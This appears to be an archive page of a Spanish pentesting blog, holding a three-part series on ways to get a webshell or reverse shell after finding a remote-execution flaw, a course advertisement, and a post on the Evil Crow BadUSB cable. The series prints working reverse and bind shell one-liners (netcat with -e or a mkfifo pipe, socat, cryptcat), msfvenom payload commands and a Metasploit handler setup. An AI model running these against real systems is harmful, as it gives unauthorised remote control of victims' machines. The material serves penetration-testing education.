Archivo

Archive for the ‘Programacion’ Category

15 formas de generar una webshell – Parte 3

abril 3, 2020 Deja un comentario

Continuando con este listado de webshells, mencionaremos otras alternativas que pueden resultar útiles/interesantes en entornos concretos. Como siempre depende del vector de ataque empleado y de las características concretas del objetivo, por ese motivo es recomendable conocer múltiples opciones como las que se han descrito en las 2 entradas anteriores que podéis ver aquí y aquí.

11. python-pty-shells. (https://github.com/infodox/python-pty-shells)

Se trata de un conjunto de scripts que permiten establecer backdoors en el sistema comprometido basados en Python. Hay que tener en cuenta que en la mayoría de distribuciones basadas en GNU/Linux (por no decir que en todas) nos vamos a encontrar un interprete de Python instalado por lo tanto éste tipo de herramientas pueden ser muy útiles a la hora de establecer sesiones persistentes contra el sistema comprometido que soportan todas las características de una terminal TTY, es decir, la posibilidad de ejecutar comandos interactivos sin perder la conexión, como sí que ocurre con algunas webshells. Hay que tener en cuenta que se trata de un proyecto un poco antiguo y que solamente soporta Python 2.7, por lo tanto si se quiere utilizar Python 3.x en el sistema objetivo sería necesario instalar y ejecutar una herramienta como “2to3” para convertir dichos scripts a una versión compatible con Python 3.x. Por otro lado hace falta tener instalada la librería “PySCTP” ya que las shells disponibles en éste repositorio soportan protocolo TCP, SCTP y UDP. Como se puede ver en la siguiente imagen, se puede abrir una “bind shell” en una terminal y en otra establecer la conexión.

El script sctp_pty_bind.py permite crear una bindshell en el sistema comprometido en el puerto 31337 (se puede cambiar editando la variable “lport”). Mientras que el script sctp_pty_shell_handler.py permite establecer una conexión contra dicha bindshell utilizando protocolo SCTP. Cabe mencionar que el script sctp_pty_shell_handler.py también permite la creación de una reverse shell.

En este caso se utiliza el script sctp_pty_shell_handler.py para abrir el puerto en la máquina del atacante y luego, en la máquina de la víctima se ejecuta el script sctp_pty_backconnect.py para de esta forma recibir la shell.
Como mencionaba anteriormente, hay shells en TCP y UDP, os recomiendo que les echéis un vistazo también.

12. Msfvenom.

Tampoco podía faltar en éste listado la posibilidad de generar diferentes tipos de webshells con Msfvenom. Como muchos de los lectores de este blog sabrán, se trata de una utilidad que se encuentra incluida en Metasploit Framework y se encarga de generar muestras de payloads en diferentes formatos. De esta forma es posible seleccionar un payload existente en el framework e indicarle a Msfvenom que lo inyecte en un fichero PHP, JSP, Python o incluso en binarios para plataformas Windows, Linux o APKs para Android. Algunas de las webshell que se pueden crear son las siguientes:

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.php

JAVA
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war

ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx

13. Tunna. (https://github.com/SECFORCE/Tunna)

Otro proyecto que me resulta muy interesante. Más que una simple webshell se trata de un conjunto de herramientas que sirven para túneles HTTP entre una víctima y atacante aunque existan mecanismos de seguridad en medio, como por ejemplo un Firewall. Esta diseñado precisamente para evadir restricciones relacionadas con entornos en los que no es posible realizar conexiones de forma arbitraria contra cualquier puerto.
El funcionamiento de Tunna se resume en los siguientes pasos:
1. El atacante debe tener la posibilidad de subir una webshell de cualquiera de los tipos disponibles en Tunna, ASPX, JSP o PHP.
2. El atacante debe tener la posibilidad de subir una bindshell (generada con metasploit, por ejemplo) a la cual, evidentemente no será posible acceder directamente debido a restricciones de un firewall en el entorno de la víctima.
3. El atacante utiliza Tunna para conectarse a la webshell subida en el paso 1 y posteriormente, establece el puerto local en la máquina del atacante y el puerto de la bindshell. Tunna se encargará de crear un túnel HTTP entre ambos puertos, utilizando la webshell que se ha subido anteriormente como punto canal de transmisión.

Se verá ahora estos puntos en detalle:
1. Dependiendo de la plataforma, se debe subir la webshell adecuada. En el directorio “webshells” del proyecto se pueden ver 3 ficheros: conn.aspx, conn.jsp y conn.php. En este caso concreto, se subirá el fichero “conn.php” a un servidor web Apache con soporte para PHP.
2. A continuación, se va a crear una bindshell para Linux, la cual se moverá junto con el fichero “conn.php” al servidor comprometido.

msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.60 LPORT=4443 -f elf -o bindshell

En éste caso, evidentemente la propiedad RHOST tiene el valor correspondiente a la IP del servidor comprometido.
3. Finalmente Se crea el túnel HTTP utilizando Tunna.

En este caso el túnel se abrirá en la máquina del atacante en el puerto “8990” y todas las peticiones entrantes por ese puerto van a ser enrutadas por Tunna utilizando el túnel HTTP, el cual permitirá establecer la conexión con la bindshell en la máquina comprometida, la cual estará en estado de escucha en el puerto “4443”.

14. WebDelivery de Metasploit.

Se trata de una alternativa que puede venir bien a la hora de generar una sesión contra la máquina comprometida cuando ya se ha detectado un punto de inyección valido (RCE, Command Injection, sesión RDP/SSH o File Upload). Una de las ventajas que tiene éste mecanismo de Metasploit es que no escribe nada en disco, con lo cual es muy probable que permita la evasión de mecanismos de seguridad en el sistema comprometido, además por defecto levanta un servidor web en local (máquina del atacante) para recibir la conexión.

El payload por defecto está basado en Python pero es bastante versatil y soporta otros tipos de payloads basados en PHP, ASP o en formatos binarios. En el momento en el que se ejecuta el comando “exploit” el modulo levanta el servidor en la IP y puerto especificados y a continuación enseña un comando que debe ejecutarse en la víctima. Evidentemente, una vez se ejecuta dicho comando en la máquina comprometida, se obtiene una sesión en la máquina del atacante.

15. netcat (otra vez) pero sin soporte a “-e”.

Volviendo a Netcat, tal como se ha comentado en la primera parte de ésta serie aunque la versión instalada en la máquina de la víctima no cuente con la opción “-e” aún es posible vincular una shell y crear conexiones del tipo “bind” o “reverse”. Para ello es necesario crear una pipe con “mkfifo” y a continuación vincularla con el puerto de netcat y una shell. Por ejemplo:

mkfifo /tmp/test_revshell; nc -vv 192.168.1.116 8889 0</tmp/test_revshell | /bin/bash > /tmp/test_revshell 2>&1
Ejecutando el comando anterior será suficiente para crear una reverse shell con netcat sin utilizar “-e”.


Esto mismo también es posible generarlo con “msfvenom” y el payload “cmd/unix/reverse_netcat”.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.60 lport=8889 R

Creo que ha quedado un listado bastante completo pero si conoces alguna otra webshell interesante o curiosa, no dudes en compartirla escribiendo un comentario.

Un saludo y Happy Hack.
Adastra.

15 formas de generar una webshell – Parte 2

marzo 31, 2020 1 comentario

En el articulo anterior se mencionaron las 5 primeras alternativas a la hora de generar una webshell, las cuales son muy básicas y casi con total seguridad el lector las conoce bien. En esta ocasión hablaré de otras 5 alternativas que en mi opinión se deberían tener en consideración a la hora de explotar alguna vulnerabilidad de RCE en una aplicación web.

6. phpbash. (https://github.com/Arrexel/phpbash.git)

Se trata de una webshell semi-interactiva que utiliza la función “shell_exec” de PHP. Viene bien especialmente cuando no es posible establecer una shell reversa por el motivo que sea. Dado que se trata de una webshell “stand-alone” no hace falta abrir ningún puerto o establecer conexiones de ningún tipo, salvo las propias peticiones HTTP que se realizarán contra la webshell subida en el servidor web. Esto viene bien para evadir restricciones de un firewall, por ejemplo, ya que como se ha dicho antes no hace falta abrir puertos ni establecer conexiones contra ellos, por lo tanto es ideal para realizar pruebas rápidas de explotación de alguna vulnerabilidad que permita subir una webshell. En el repositorio hay dos ficheros PHP: “phpbash.php” y “phpbash-min.php”. La diferencia esta en que el primero de ellos tiene el código con indentación y el segundo no. Evidentemente esto hace que el tamaño del segundo sea más reducido que el de el primero, lo cual en ciertas circunstancias puede venir bien.

7. weevely. (https://github.com/epinna/weevely3)

No podía faltar Weevely en el listado. Es una de las webshell más potentes que se encuentran disponibles actualmente y de hecho, está pensada para asistir al atacante (o pentester) en los procesos de post-explotación. Es parecida a otras herramientas que buscan el mismo objetivo en el sentido de que cuenta con dos elementos fundamentales: La consola de Weevely y un agente que debe desplegarse en el sistema comprometido. El agente no es más que un programa pequeño en PHP que se debe instalar en el servidor web, mientras que la consola de Weevely se encuentra escrito en Python y permite recibir las conexiones que establece el agente. Para aquellos que habéis trabajado con Empire, se sigue una filosofía parecida (Listener recibe conexiones en la máquina del atacante y el agente establece las conexiones desde la víctima).
Una vez clonado el repositorio, lo primero que hay que hacer es instalar las dependencias definidas en el fichero “requirements.txt”. Tan simple como ejecutar “pip install -r requirements.txt”.
A continuación ya se podrán ver las opciones disponibles en la herramienta.

Como se puede ver, no hay muchas opciones disponibles y resulta fácil de utilizar. Ahora es el momento de generar un nuevo agente, tal como se puede ver se hace con el comando “generate”.

Una vez hecho esto, el siguiente paso evidentemente es subir el agente a la víctima y obtener una sesión en weevely.

El comando “help” permite ver los comandos que se encuentran incluidos en esta potente webshell, sin embargo esto no significa que ya se haya establecido la conexión, esto ocurre solamente ene el momento en el que se ejecuta el primer comando en la consola de weevely.


Pero aquí no termina. Cuenta con varios módulos que permiten llevar a cabo procesos de post-explotación, algunos de estos módulos incluyen: Búsqueda de ficheros SUID inseguros, subida y descarga de ficheros, volcado de bases de datos, establecimiento de puertas traseras “bind” y “reverse”, recolección de información en ficheros sensibles del sistema, establecimiento de un proxy (incluyendo un proxy SOCKS como el que podría tener una instancia de TOR, por ejemplo) para ejecutar conexiones hacia otras redes (como Internet), entre muchas otras cosas. Además, algo que merece la pena mencionar es que es un proyecto que funciona bastante bien y en raras ocasiones me he encontrado con errores en el código que impidan que alguna funcionalidad concreta se ejecute correctamente , como sí que ocurre en otros proyectos de código abierto. Os recomiendo que le echéis un vistazo ya que merece mucho la pena.

8. Webshells en el repositorio de XL7DEV (https://github.com/xl7dev/WebShell).

En éste repositorio hay un conjunto bastante amplio de webshells para múltiples lenguajes y plataformas. Como podréis ver cuando lo visitéis hay webshells para Go, Perl, Python, PHP, ASP, etc. Algunas de ellas han sido muy populares y en su día las podías encontrar en servidores web comprometidos, lo que te permitía saber que alguien más había estado allí aprovechándose de alguna vulnerabilidad o como administrador del sistema para saber que hay algún defecto o mala configuración que le ha permitido a alguien “plantar” ese … ese agujero de seguridad en tu sistema. Si estás empezando a probar webshells es un buen repositorio para conocer algunas de las más interesantes y sino, a lo mejor te traerá algunos recuerdos (ojo, a lo mejor no precisamente buenos).

9. webshells en Kali y FuzzDB.

También tenemos un repositorio bastante completo de webshells de uso general en Kali y por supuesto, en FuzzDB. En Kali las webshells se encuentran ubicadas en el directorio “/usr/share/webshells” y se pueden ver las más básicas para lenguajes como Java, PHP, ColdFusion o ASP. No obstante, en el caso de FuzzDB hay más variedad (https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors) no solamente soporta más lenguajes de programación, sino que las webshells que se encuentran allí son estables y funcionan en prácticamente todos los casos.

10. p0wnyshell. https://github.com/flozz/p0wny-shell

Se trata de una webshell muy simple pero al mismo tiempo muy completa. En primer lugar es una webshell interactiva, por lo tanto su uso resulta mucho más cómodo que con otras que no lo son. Del mismo modo que ocurre con “phpbash”, una vez que la webshell se sube al servidor se puede interactuar con ella de forma directa, sin establecer conexiones reversas o bind, algo que como se ha mencionado antes puede venir muy bien a la hora de realizar pruebas de explotación y evitar posibles problemas en las conexiones establecidas desde y/o hacia la máquina comprometida.

Espero que os haya gustado este pequeño listado, en la próxima publicación os enseñaré 5 webshells más que seguro que os van a gustar.

Un saludo y Happy Hack.
Adastra.

15 formas de generar una webshell – Parte 1

marzo 27, 2020 2 comentarios

Si tenemos la suerte de encontrar una vulnerabilidad que nos permita la ejecución de instrucciones en una aplicación web, lo siguiente que se debe considerar es la mejor forma de aprovechar dicha vulnerabilidad. La forma más común consiste evidentemente en intentar subir una webshell que permita la ejecución de instrucciones contra el sistema comprometido y en este sentido encontramos bastantes alternativas que dependiendo del entorno y plataforma sobre la que está montada la aplicación web pueden ser más o menos óptimas. A continuación os dejo un listado de 15 alternativas diferentes (distribuidas en 3 posts) a la hora de generar una webshell en una aplicación web vulnerable.

 

1. NETCAT.

Se trata del mecanismo más clásico, tradicional y conocido. Probablemente la mayoría de personas que inician en el mundo del hacking aprenden primero a utilizar esta sencilla herramienta. Dada su simplicidad no merece la pena dedicar muchas líneas a éste mecanismo ya que basta con decir que permite la creación de shells del tipo bind y reverse gracias a la opción “-e”. No obstante, hay que tener en cuenta que dependiendo de la versión de Netcat instalada en el sistema objetivo éste método podría no ser viable ya que por seguridad la opción “-e” no se encuentra disponible en el paquete, es decir, que en el momento de compilar el programa no se ha habilitado la conocida opción “GAPING_SECURITY_HOLE” de Netcat. Las condiciones necesarias para que éste mecanismo funcione son:

  • la aplicación web vulnerable debe permitir la ejecución de instrucciones directamente contra el sistema operativo
  • El sistema operativo del objetivo debe tener “netcat” instalado y con la opción “-e” habilitada.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
nc -lvvp PUERTO_BINDSHELL -e /bin/bash nc -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
nc -vv IP_ATACANTE PUERTO_REVERSE_SHELL -e /bin/bash nc -lvvp PUERTO_REVERSE_SHELL

En éste caso se asume que el sistema objetivo tiene “/bin/bash”, evidentemente. Ahora bien, en el caso de que Netcat no tenga habilitada la opción “-e” no significa que sea imposible crear una bind/reverse shell utilizando esta herramienta. Se puede y lo explicaré en el siguiente post.

2. SOCAT.

Si bien Netcat es conocido como “la navaja suiza de los hackers”, socat provee incluso más características y es más potente que netcat sin embargo, esto significa que es también un poco más complejo. Hace algunos años escribí un par de artículos sobre ésta herramienta que puedes ver aquí y aquí. Evidentemente, para que éste mecanismo funcione es necesario que el sistema objetivo tenga socat instalado.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
socat TCP-LISTEN:BINDSHELL_PORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane socat FILE:`tty`,raw,echo=0 TCP:IP_VÍCTIMA:BINDSHELL_PORT

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
socat tcp-connect:IP_ATACANTE:PUERTO_REVERSE_SHELL exec:sh,pty,stderr,setsid,sigint,sane socat file:`tty`,raw,echo=0 tcp-listen:PUERTO_REVERSE_SHELL

3. MSFVENOM

Utilizar la herramienta msfvenom disponible en Metasploit Framework es otra de las alternativas más comúnmente utilizadas a la hora de crear una webshell. Una de las ventajas que tiene éste mecanismo es que permite generar una webshell para una plataforma concreta (php, python, java, ruby, etc) y que además permite especificar un payload de los que se encuentran disponibles en el framework de tal manera que será posible generar una sesión meterpreter si especificamos un payload de dicho tipo. El uso típico para generar una webshell del tipo “reverse” utilizando un payload de meterpreter podría ser el siguiente:

msfvenom -p php/meterpreter/reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_REVERSESHELL -f php -o webshell.php

Con éste sencillo comando se generará una webshell para PHP, la cual una vez ejecutada en la aplicación vulnerable generará una sesión meterpreter.

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST “IP_ATACANTE”

set LPORT “PUERTO_REVERSESHELL”

exploit -j

Lo más importante a tener en cuenta es que debe coincidir el PAYLOAD, LHOST y LPORT indicados en el módulo “exploit/multi/handler” con los valores que se han puesto en msfvenom.

4. CRYPTCAT

Se trata de otro mecanismo interesante del que ya he escrito hace algunos años también aquí. En éste caso funciona de un modo muy similar a netcat, con la ventaja de que se encarga de cifrar toda la comunicación entre víctima y atacante. Obviamente, es necesario que el programa se encuentre instalado en el sistema objetivo y esto no es algo frecuente, por lo tanto éste método es utilizado principalmente en procesos de post-explotación una vez se tiene cierto grado de control sobre el sistema comprometido y es posible instalar programas como éste. En el post indicado anteriormente se enseña el procedimiento de instalación en sistemas basados en Windows, sin embargo en el caso caso de sistemas GNU/Linux la instalación depende de la distribución y es probablemente más sencilla, ya que por ejemplo, en el caso de sistemas basados en Debian se puede instalar con un simple “apt-get install cryptcat”.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
#mkfifo bindshell

#cryptcat -k password -l -p PUERTO_BINDSHELL 0<bindshell| /bin/bash 1>bindshell

#cryptcat -k password -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
#cryptcat -k password -vv IP_ATACANTE PUERTO_REVERSE_SHELL #mkfifo reverseshell

#cryptcat -k password -l -p PUERTO_REVERSESHELL 0<reverseshell| /bin/bash 1>reverseshell

En este caso la comunicación estará cifrada utilizando TwoFish.

5. PENTESTMONKEY SHELLS

Este es otro de los recursos más tradicionales en el pentesting web. Pentestmonkey es un sitio web que contiene herramientas para llevar a cabo procesos de explotación y post-explotación, Cheat Sheets básicos para pruebas de SQL Injection sobre diferentes tipos de bases de datos y algunos artículos que si bien ya se han escrito hace bastantes años, suponen una buena fuente de información para pentesters que están empezando o incluso como referencia para aquellos más experimentados.

El recurso en cuestión en donde se pueden encontrar algunas webshells interesantes (en este caso para PHP y PERL) es el siguiente: http://pentestmonkey.net/category/tools/web-shells

Del mismo modo hay un Cheat Sheet que puede ser útil como referencia para probar diferentes mecanismos a la hora generar una reverse shell en un entorno con fuertes limitaciones (en el que por ejemplo, no se cuenta con un conjunto de herramientas mínimo para establecer una shell entre víctima y atacante obligando a realizar las conexiones de forma manual).

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Se trata de las alternativas que a mi juicio, son de las más comunes a la hora de generar una webshell aunque hay muchísimas más con su ventajas y desventajas, como todo. En los próximos dos post explicaré otras herramientas, proyectos y alternativas para explotar adecuadamente una vulnerabilidad de RCE y sacarle el máximo provecho.

Un saludo…

Happy Hack y Happy Health.

Adastra.

Novedades en el plan de formaciones sobre Hacking ético en Securízame

marzo 9, 2020 Deja un comentario

Como seguramente algunos de vosotros habéis visto en redes sociales, grupos de telegram o charlas en las que he asistido en los últimos meses, tenemos abierto el plan de formación de Hacking ético y RedTeam en Securízame (https://www.securizame.com/plan-de-formacion-hacking-etico-2020/), en donde una vez más, seré el instructor. Se trata de un plan de formaciones que como ya he mencionado en otras ocasiones, es un tanto especial por el mimo y cuidado con el que se ha diseñado. Las formaciones se dividen en dos cursos, el primero de ellos de un nivel básico/intermedio y el segundo de un nivel más avanzado en el que se ven técnicas enfocadas al RedTeam. Luego tenemos entrenamiento y la certificación RTCP (Red Team Certified Professional: https://cursos.securizame.com/courses/certificacion-rtcp/) la cual es propia de Securízame y en la cual también participo en su diseño y evaluación. Todo esto probablemente es bien sabido por aquellos que leéis éste blog o ya habéis participado en éste plan de formaciones, sin embargo para el primer semestre del 2020 hay algunas novedades que me gustaría compartir con todos vosotros.

En primer lugar, tanto el curso básico/intermedio como el avanzado tienen algunos contenidos adicionales que se han incorporado debido a la evolución que están teniendo los sistemas informáticos modernos, especialmente aquellos que se desarrollan en empresas dedicadas a la construcción de software. En este sentido se han incluido temas tan interesantes como por ejemplo:

* Introducción a SecDevOps
* Detección y explotación de vulnerabilidades en APIs Rest.

* Vulnerabilidades en arquitecturas basadas en Microservicios.

* Detección y explotación de vulnerabilidades en sistemas basados en contenedores (Docker).

* Detección y explotación de vulnerabilidades en sistemas de orquestación (Docker Swarm y Kubernetes).

* Técnicas avanzadas de post-explotación en sistemas GNU/Linux

* Más técnicas de post-explotación en sistemas Windows.

* Técnicas para llevar a cabo movimientos laterales tanto en sistemas Windows y GNU/Linux como en diferentes situaciones que se podrían encontrar en un Red Team.

Sin ser una lista completa de lo que se verá en las formaciones, es un ejemplo de algunos de los temas que tocaremos en esta ocasión y que no se han enseñado en versiones previas de las formaciones de Hacking ético presencial que se han impartido en Securízame.
Sin embargo esto no es todo, los entrenamientos también vienen con novedades. En ediciones anteriores se incluía un entrenamiento, el cual está compuesto por una serie de retos, máquinas con vulnerabilidades que yo mismo he diseñado en THW Labs (https://thehackerway.es/thw-labs/) pero en esta ocasión tendremos dos entrenamientos en los que se sigue la misma dinámica: reto → comprometes el sistema o no → solución → siguiente reto. En ambos tendremos un reto especial el día domingo que consistirá en resolver una edición anterior del RTCP. Esto le permitirá a los aspirantes ver cómo será el entorno del examen y practicar mucho más todo lo relacionado con la explotación, post-explotación y movimientos laterales para extraer información de los sistemas en la red. A diferencia de otras formaciones que se mantienen “estáticas” con los mismos contenidos desde hace años, las formaciones que impartimos en materia de Hacking y RedTeam en Securízame no siguen este patrón y nos esforzamos en mantenerlas actualizadas y enfocadas a la seguridad en los sistemas empresariales modernos ya que evidentemente, es lo que nos vamos a encontrar en las auditorías de seguridad que nos piden nuestros clientes.

Si os ha resultado interesante lo anterior, os indico las fechas de cada formación, teniendo en cuenta que las plazas son limitadas, la formación es presencial y que también hay packs con los que podéis ahorrar dinero.

Hacking ético básico/intermedio: 03/04/2020 al 05/04/2020 https://cursos.securizame.com/courses/curso-hacking-etico-basico/

Hacking ético avanzado: 24/04/2020 al 25/04/2020

https://cursos.securizame.com/courses/curso-hacking-etico-avanzado/

Entrenamiento práctico I: 22/05/2020 al 24/05/2020

https://cursos.securizame.com/courses/entrenamiento-practico-hacking-etico/

Entrenamiento práctico II: 05/06/2020 al 07/06/2020

https://cursos.securizame.com/courses/entrenamiento-practico-hacking-etico-2/

Examen de certificación RTCP: 20/06/2020 o 21/06/2020

https://cursos.securizame.com/courses/certificacion-rtcp/

Partiendo de estas fechas, tenéis la posibilidad de adquirir los cursos de forma individual o aprovechar los packs que se encuentran disponibles (algo que os recomiendo).

PACK RTCP: Se trata de la formación completa, lo que incluye los cursos, entrenamientos, acceso a los laboratorios durante más de 30 días para practicar desde casa y el examen de certificación RTCP. https://cursos.securizame.com/courses/pack-rtcp-curso-basico-avanzado-entrenamiento-certificacion-rtcp/

PACK HACKING ÉTICO: Con éste pack tendrás acceso a las formaciones, entrenamientos, acceso a los laboratorios durante más de 30 días y no se incluye el examen de certificación. https://cursos.securizame.com/courses/pack-hacking-etico-curso-basico-avanzado-entrenamiento/

PACK ENTRENAMIENTOS HACKING ÉTICO: Si lo que te interesa son los entrenamientos 100% prácticos, también puedes adquirir éste pack, en donde únicamente se incluyen las dos ediciones del entrenamiento y más de 30 días de acceso a los laboratorios desde casa (o cualquier sitio). https://cursos.securizame.com/courses/pack-entrenamientos-hacking-etico/

PACK ENTRENAMIENTOS HACKING ÉTICO + RTCP: Lo mismo que el anterior, pero con derecho a presentar el examen de certificación. https://cursos.securizame.com/courses/pack-practico-hacking-etico-entrenamiento-certificacion-rtcp/

Aún tienes tiempo para apuntarte y si estás realmente interesado en estas formaciones, te recomiendo que lo hagas pronto ya que en todas las ediciones anteriores las plazas se nos han agotado bastante rápido. Finalmente, si tienes cualquier duda o necesitas aclarar cualquier punto, te puedes poner en contacto conmigo directamente escribiendo un comentario en ésta entrada, enviándome un mensaje directo en alguna red social en la que me sigas o por Telegram. También tienes a tu disposición el formulario de contacto en el sitio web de Securízame https://www.securizame.com/contacto/

Espero verte en la academia y tener el placer de enseñarte!

Un Saludo y Happy Hack.

Adastra.

Evil Crow cable, ¿por qué troyanizar hardware?

diciembre 23, 2019 Deja un comentario

Sobre los autores: Ernesto Sanchez (@ernesto_xload) y Joel Serna (@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, RootedCON, CCN-CERT, Mundo Hacker Day, etc.

Sabemos que hemos estado bastante tiempo sin aparecer por aquí, pero hemos estado liados con un proyecto de una duración de unos dos años, y sí, estamos aquí para contarlo.

Lo primero de todo, agradecer a todas las personas que han apoyado y ayudado en esto, sobre todo a las mencionadas aquí abajo:

Todo empezó a finales de 2017, donde Ernesto Sánchez y un servidor decidimos empezar un “proyecto” para demostrar que los dispositivos USB no son lo que realmente parecen.

La idea de troyanizar hardware, como bien se explica en una entrevista que nos hizo Guillermo Cid para el Confidencial (aquí), viene de que las personas confían en el hardware y nunca llegan a pensar que este puede haber sido alterado con fines maliciosos.

En los últimos años hemos podido observar que las personas tienen mas cuidado a la hora de conectar pendrives en sus equipos porque pueden contener malware, pero… ¿qué pasa con todo lo demás?

Todos los periféricos USB que utilizamos en nuestro día a día se pueden troyanizar. Así es como nació Evil Crow cable.

Evil Crow cable, como su propio nombre indica, es un cable de móvil con el famoso microcontrolador Attiny85 en su interior, junto a 3 resistencias y 2 diodos zener.

¿Qué se puede hacer con él? La finalidad del cable es simple, un dispositivo BadUSB como puede ser el USB Rubber Ducky. En este artículo no vamos a entrar otra vez en el tema de los dispositivos BadUSB, quien no sepa lo que es o esté interesado… aquí tiene los enlaces de los artículos anteriores que escribimos para este mismo blog: BadUSB Ultra Low Cost y Vuelve el patito Low Cost, ahora grazna como un USB Rubber Ducky original.

¿Aún no queda claro que es Evil Crow cable? No pasa nada, tenemos un repositorio específico donde está documentada toda su historia, desde el comienzo del desarrollo en una breadboard (utilizando un Attiny45 en las primeras pruebas, que al final no fue suficiente para nosotros y utilizamos Attiny85), hasta el cable completo que ha ido a producción gracias a la ayuda de Luca Bongiorni y a nuestro distribuidor April Brother:

https://github.com/joelsernamoreno/BadUSB-Cable

La historia está muy bien y todo eso… pero, ¿donde puedo comprar el cable? Puedes comprarlo por unos 10$, tanto en la tienda del distribuidor en Tindie, como en Aliexpress… aquí dejamos el enlace de compra directo en Aliexpress: Evil Crow cable

Cabe destacar que Evil Crow cable es un proyecto sin ánimo de lucro, ¿que queremos decir con esto? Basicamente, todos estáis invitados a pagarnos unas cervezas si nos veis en alguna CON 😀

Ahora vamos a meternos en el asunto…

Configuración e instalación del software

Una vez hemos obtenido el dispositivo, tenemos que tener en cuenta que, primero tenemos que instalar el IDE de Arduino y también los drivers en el caso de Windows (aquí)

NOTA: no es aconsejable instalar el IDE de Arduino desde repositorios de nuestra distribución de Linux, suele ser una versión algo obsoleta y puede darnos problemas. Destacar que el funcionamiento del dispositivo es ligeramente distinto a cualquier otro Arduino con el que hayamos trabajado anteriormente y necesita ser desconectado y conectado para ser reprogramado (Hay disponible un dispositivo para hacer ésto por hardware mediante un interruptor disponible aquí, pero no creemos que sea tanta molestia conectar y desconectar el dispositivo cada vez). Lo primero es tener la última versión del arduino IDE (Aquí) y asegurarnos que está todo actualizado.

El segundo paso es bajar el paquete de compatibilidad con ésta placa y el IDE de Arduino para poder trabajar correctamente con ella, para ello tenemos que ir a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente (si tenemos alguna no es incompatible):

http://digistump.com/package_digistump_index.json

Simplemente aceptamos y vamos a Herramientas -> Placa -> Gestor de Tarjetas, aquí buscamos Digistump AVR Boards y procedemos a su instalación.

En caso de usar linux, es posible que tengas que tener la versión actual y legacy de libusb, así como añadir unas reglas nuevas de udev, hay un tutorial de Digistump aquí. Comentar que las librerías originales de Digistump solo poseen soporte para emular teclados con el layout en_US (Inglés de EEUU), con lo que es muy aconsejable descargar e instalar la librería con soporte para otros idiomas, disponible aquí.

Payloads y primer Hola Mundo

Evil Crow cable lleva un microcontrolador Attiny85 en su interior, entonces… podemos utilizar cualquier payload compatible con la famosa placa de 2$ Digispark. En el siguiente enlace podéis descargar más de 20 payloads compatibles y probados:

https://github.com/joelsernamoreno/badusb_examples/tree/master/attiny85_digispark

Una vez hemos descargado los payloads… tenemos que abrir el IDE de Arduino que hemos descargado y configurado anteriormente, también nos tenemos que asegurar que hemos configurado la placa correcta, para ello vamos a Herramientas -> Placa y seleccionamos “Digisparck (Default – 16.5 mhz)” y ningún puerto.

Lo siguiente es compilar y subir el código, primero podemos pulsar el botón de Verificar para asegurarnos de que no existe ningún error y después pulsar el botón Subir, sin conectar el dispositivo aún. A los pocos segundos, el IDE nos pedirá que conectemos el dispositivo y lo reprogramará como podemos ver en la siguiente captura. Ya está nuestro “hola mundo”, a los pocos segundos ejecutará el código, dicho código está guardado en la flash del Attiny85 con lo que se ejecutará cada vez que conectemos el dispositivo a un ordenador.

En el siguiente enlace podéis ver el vídeo del proceso de subir el payload a Evil Crow cable:

https://twitter.com/JoelSernaMoreno/status/1181296289323130882?s=19

NOTA: Si recibimos el error de que estamos utilizando una versión de Micronucleus antigua, tenemos que hacer lo siguiente:

1. Descargar la última versión de Micronucleus desde su repositorio en GitHub, podemos ejecutar el siguiente comando: git clone https://github.com/micronucleus/micronucleus.git

2. Acceder al directorio micronucleus/commandline con el siguiente comando: cd micronucleus/commandline

3. Compilar Micronucleus con el siguiente comando: make

4. Acceder al directorio .arduino15/packages/digistump/tools/micronucleus/2.0a4 con el siguiente comando: cd ~/.arduino15/packages/digistump/tools/micronucleus/2.0a4/

5. Crear un backup de Micronucleus con el siguiente comando: mv micronucleus micronucleus.old

6. Copiar la última versión de Micronucleus al directorio actual con el siguiente comando: cp ~/PATH/micronucleus/commandline/micronucleus .

Cambiar PATH por el directorio donde hemos descargado Micronucleus

7. Verificar y Subir el código otra vez

Máquina virtual para dummies

La instalación del software puede ser algo tediosa para algunas personas, por eso mismo hemos creado una máquina virtual con toda la configuración y software visto anteriormente.

Para descargar la máquina virtual tenéis que acceder al siguiente enlace (contraseña de la máquina virtual: evilcrowcable):

https://mega.nz/#!dtBmgQIY!4iiRBmrM1v42V-EDzVBr9dvOznbAHK-9jp3wK9BgMlo

La máquina virtual ha sido probada en VMWare, para descargar VMWare aquí: https://www.vmware.com/

Ahora tenemos que configurar nuestro entorno para que la máquina virtual reconozca correctamente Evil Crow cable:

1. Ejecutar VMWare e importar la máquina virtual

2. Iniciar la máquina virtual e Instalar VMWare-Tools: https://vitux.com/how-to-install-vmware-tools-in-ubuntu/

3. Añadir puerto serie con los siguientes pasos:

– En VMWare, hacemos click en la pestaña Settings.

Hacemos click en el botón +Add…

Seleccionamos Serial Port y hacemos click en finalizar

4. Añadir el controlador USB con los siguientes pasos:

– En VMWare, hacemos click en la pestaña Settings.

Hacemos click en el botón +Add…

